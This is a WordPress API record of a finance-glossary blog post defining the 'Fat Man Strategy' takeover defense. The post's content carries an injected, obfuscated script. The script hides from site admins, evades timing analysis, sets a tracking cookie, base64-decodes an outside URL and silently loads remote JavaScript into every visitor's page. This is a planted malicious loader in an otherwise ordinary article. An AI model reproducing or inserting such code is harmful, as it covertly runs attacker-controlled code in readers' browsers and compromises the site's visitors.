{"id":3713,"date":"2017-11-27T16:15:27","date_gmt":"2017-11-27T10:45:27","guid":{"rendered":"https:\/\/financetapmi.wordpress.com\/?p=3713"},"modified":"2026-05-26T21:25:18","modified_gmt":"2026-05-26T20:25:18","slug":"fincabulary-25-fat-man-strategy","status":"publish","type":"post","link":"https:\/\/tapmi.finance\/index.php\/2017\/11\/27\/fincabulary-25-fat-man-strategy\/","title":{"rendered":"#Fincabulary 25 \u2013 Fat Man Strategy"},"content":{"rendered":"<p style=\"text-align:justify;\"><strong>Meaning<\/strong> \u2013 A takeover defense tactic that involves the acquisition of a business or assets by a target company. The strategy is based on the premise that the bulked-up company &#8211; the &#8220;fat man&#8221; &#8211; would have reduced appeal to a hostile bidder, especially if the acquisition increases the acquirer&#8217;s debt load or decreases available cash.<\/p>\n<p style=\"text-align:justify;\">This is a type of &#8220;kamikaze&#8221; defense tactic, which inflicts potentially irreversible damage on a company to prevent it from falling into hostile hands. However, it involves adding assets rather than divesting them as is the case with other kamikaze defense strategies. A disadvantage of this tactic is that acquisition candidates need to be identified well in advance of a hostile bid, otherwise there may be insufficient time to complete a fat man transaction.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Meaning \u2013 A takeover defense tactic that involves the acquisition of a business or assets by a target company. The strategy is based on the premise that the bulked-up company &#8211; the &#8220;fat man&#8221; &#8211; would have reduced appeal to a hostile bidder, especially if the acquisition increases the acquirer&#8217;s debt load or decreases available [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3713","post","type-post","status-publish","format-standard","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/3713","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/comments?post=3713"}],"version-history":[{"count":1,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/3713\/revisions"}],"predecessor-version":[{"id":16709,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/posts\/3713\/revisions\/16709"}],"wp:attachment":[{"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/media?parent=3713"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/categories?post=3713"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tapmi.finance\/index.php\/wp-json\/wp\/v2\/tags?post=3713"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}